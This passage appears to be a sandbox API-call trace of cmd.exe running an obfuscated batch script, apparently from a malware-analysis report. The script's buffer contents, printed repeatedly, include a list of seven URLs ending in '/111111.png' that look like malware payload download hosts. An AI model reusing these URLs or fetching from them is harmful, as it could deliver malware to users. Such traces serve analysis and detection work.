GetLastError () returned 0x2 [0231.452] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.452] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0231.452] GetLastError () returned 0x2 [0231.452] ??_V@YAXPEAX@Z () returned 0x1 [0231.453] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.453] GetFileType (hFile=0x54) returned 0x2 [0231.453] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0231.453] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0231.454] _get_osfhandle (_FileHandle=2) returned 0x54 [0231.454] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0231.454] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.454] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'XP' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0231.454] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x5d) returned 1 [0231.465] ??_V@YAXPEAX@Z () returned 0x1 [0231.467] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.467] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0231.468] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.468] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0231.468] _get_osfhandle (_FileHandle=0) returned 0x4c [0231.468] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0231.468] SetConsoleInputExeNameW () returned 0x1 [0231.468] GetConsoleOutputCP () returned 0x1b5 [0231.469] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0231.469] SetThreadUILanguage (LangId=0x0) returned 0x409 [0231.469] ??_V@YAXPEAX@Z () returned 0x1 [0231.471] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.471] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.471] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.471] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3683, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe63 [0231.472] GetProcessHeap () returned 0x20b0f920000 [0231.472] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956e20) returned 1 [0231.472] GetProcessHeap () returned 0x20b0f920000 [0231.472] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0231.472] GetProcessHeap () returned 0x20b0f920000 [0231.472] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0231.472] GetProcessHeap () returned 0x20b0f920000 [0231.472] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fd0) returned 1 [0231.473] GetProcessHeap () returned 0x20b0f920000 [0231.473] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d90) returned 1 [0231.473] GetProcessHeap () returned 0x20b0f920000 [0231.473] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957fe0) returned 1 [0231.473] GetProcessHeap () returned 0x20b0f920000 [0231.473] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956a30) returned 1 [0231.473] GetProcessHeap () returned 0x20b0f920000 [0231.473] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0231.473] GetProcessHeap () returned 0x20b0f920000 [0231.473] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0231.473] GetProcessHeap () returned 0x20b0f920000 [0231.473] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0231.475] GetProcessHeap () returned 0x20b0f920000 [0231.475] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94aff0) returned 1 [0231.475] GetProcessHeap () returned 0x20b0f920000 [0231.475] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947cb0) returned 1 [0231.475] GetProcessHeap () returned 0x20b0f920000 [0231.475] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0231.475] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.475] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe63 [0231.475] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x952, lpOverlapped=0x0) returned 1 [0231.475] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6c [0231.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0231.475] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.476] GetFileType (hFile=0x9c) returned 0x1 [0231.476] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.476] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6c [0231.476] GetProcessHeap () returned 0x20b0f920000 [0231.476] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.476] GetProcessHeap () returned 0x20b0f920000 [0231.476] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.476] _tell (_FileHandle=3) returned 3692 [0231.476] _close (_FileHandle=3) returned 0 [0231.476] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.477] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.477] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.477] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6c [0231.477] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.477] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6c [0231.477] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x949, lpOverlapped=0x0) returned 1 [0231.477] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3701, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe75 [0231.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0231.477] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.477] GetFileType (hFile=0x9c) returned 0x1 [0231.477] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.477] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe75 [0231.477] GetProcessHeap () returned 0x20b0f920000 [0231.477] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.477] GetProcessHeap () returned 0x20b0f920000 [0231.477] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.477] _tell (_FileHandle=3) returned 3701 [0231.477] _close (_FileHandle=3) returned 0 [0231.478] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0231.478] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0231.478] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.478] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3701, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe75 [0231.478] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.478] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe75 [0231.478] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x940, lpOverlapped=0x0) returned 1 [0231.478] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3787, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xecb [0231.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=86, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\r\n.3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 86 [0231.478] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.478] GetFileType (hFile=0x9c) returned 0x1 [0231.478] _get_osfhandle (_FileHandle=3) returned 0x9c [0231.478] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xecb [0231.478] GetProcessHeap () returned 0x20b0f920000 [0231.478] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0231.479] GetProcessHeap () returned 0x20b0f920000 [0231.479] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0231.479] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0231.479] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0231.479] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0231.479] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0231.479] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0231.479] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0231.479] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0231.479] GetProcessHeap () returned 0x20b0f920000 [0231.479] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0231.479] GetProcessHeap () returned 0x20b0f920000 [0231.479] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0231.479] GetProcessHeap () returned 0x20b0f920000 [0231.479] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa8) returned 0x20b0f926ea0 [0231.479] _tell (_FileHandle=3) returned 3787 [0231.479] _close (_FileHandle=3) returned 0 [0231.479] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0231.479] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.479] GetFileType (hFile=0x50) returned 0x2 [0231.479] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.480] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0231.482] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.482] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0231.487] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0231.487] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0231.487] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0231.487] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.487] GetFileType (hFile=0x50) returned 0x2 [0231.488] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.488] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0231.488] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.488] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0231.489] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.489] GetFileType (hFile=0x50) returned 0x2 [0231.489] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.489] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.489] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.489] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0231.490] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 76 [0231.490] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.490] GetFileType (hFile=0x50) returned 0x2 [0231.490] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.490] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0231.490] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.490] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4c) returned 1 [0231.491] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0231.491] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.491] GetFileType (hFile=0x50) returned 0x2 [0231.491] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0231.491] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0231.491] _get_osfhandle (_FileHandle=1) returned 0x50 [0231.491] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0231.495] malloc (_Size=0xffce) returned 0x20b0fa60940 [0231.496] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0231.497] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0231.497] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0231.497] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0231.497] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0231.497] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0231.497] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0231.497] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0231.497] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0231.497] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0231.497] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0231.497] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0231.497] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0231.497] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0231.497] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0231.497] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0231.497] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0231.497] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0231.497] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0231.497] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0231.497] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0231.497] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0231.497] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0231.497] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0231.497] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0231.497] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0231.497] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0231.497] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0231.498] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0231.498] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0231.498] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0231.498] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0231.498] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0231.498] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0231.498] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0231.498] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0231.498] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0231.498] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0231.498] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0231.498] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0231.498] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0231.498] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0231.498] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0231.498] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0231.498] malloc (_Size=0xffce) returned 0x20b0fa70920 [0231.498] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0231.499] GetProcessHeap () returned 0x20b0f920000 [0231.499] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0231.505] SetErrorMode (uMode=0x0) returned 0x0 [0231.505] SetErrorMode (uMode=0x1) returned 0x0 [0231.505] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0231.505] SetErrorMode (uMode=0x0) returned 0x1 [0231.505] GetProcessHeap () returned 0x20b0f920000 [0231.505] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0231.505] GetProcessHeap () returned 0x20b0f920000 [0231.505] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0231.505] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0231.505] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0231.505] GetProcessHeap () returned 0x20b0f920000 [0231.505] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0231.506] GetProcessHeap () returned 0x20b0f920000 [0231.506] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0231.506] GetProcessHeap () returned 0x20b0f920000 [0231.506] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0231.506] GetProcessHeap () returned 0x20b0f920000 [0231.506] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0231.506] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0231.506] GetProcessHeap () returned 0x20b0f920000 [0231.506] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946ec0 [0231.506] GetProcessHeap () returned 0x20b0f920000 [0231.506] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946ec0, Size=0x7e) returned 0x20b0f956d90 [0231.506] GetProcessHeap () returned 0x20b0f920000 [0231.506] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956d90) returned 0x7e [0231.506] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0231.506] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ce50 [0231.507] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0231.507] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.507] GetLastError () returned 0x2 [0231.507] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.507] GetLastError () returned 0x2 [0231.507] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.507] GetLastError () returned 0x2 [0231.508] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.508] GetLastError () returned 0x2 [0231.508] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.508] GetLastError () returned 0x2 [0231.508] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.508] GetLastError () returned 0x2 [0231.508] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.508] GetLastError () returned 0x2 [0231.508] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0231.509] GetLastError () returned 0x2 [0231.509] FindFirstFileExW (in: 